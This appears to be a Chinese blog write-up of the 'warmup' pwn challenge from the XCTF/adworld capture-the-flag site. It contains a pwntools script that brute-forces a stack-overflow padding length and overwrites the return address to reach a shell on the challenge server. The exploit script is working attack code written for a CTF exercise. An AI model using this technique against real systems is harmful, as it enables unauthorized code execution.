[攻防世界 pwn]——warmup

"本文介绍了参与CTF比赛时遇到的一个栈溢出题目——warmup。通过nc连接服务器发现可能的地址,推测该地址可用于执行特定命令。作者编写了exploit脚本,尝试不同长度的填充以触发栈溢出,目标是找到执行system("/bin/sh")或system("catflag")的条件。博客展示了尝试过程及交互式shell的获取。"
摘要由CSDN通过智能技术生成

[攻防世界 pwn]——warmup

  • 题目地址: https://adworld.xctf.org.cn/
  • 题目:
    在这里插入图片描述
    嘶, 碰过的第一个盲打的题, nc连上之后只有一个地址, 这个地址肯定是个有用的地址, 应该就是可以执行 system("/bin/sh")或者 system(“cat flag”)的地址。
    在这里插入图片描述
    提供了一个输入, 应该是可以进行栈溢出, 不然就太难了。尝试一下, 不过不知道要填充的长度也不知道是64位还是32位的。
    我们只有挨个尝试, 写个exp如下:

exploit

from pwn import *
ret_addr = 0x40060d

def fuzz(p, n, flag):
	payload = 'a' * n
	if flag==1:
	    payload += p32(ret_addr)
	if flag==2:
	    payload += p64(ret_addr)
	p.recvuntil(">")
	p.sendline(payload)

def main():
	for i in range(1000):
	    print(i)
	    for j in range(1, 3):
		try:
		    p = remote('111.200.241.244',45566)
		    fuzz(p, i, j)
		    print p.recv()   
		    p.interactive()
		except:
		    p.close()
main()

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值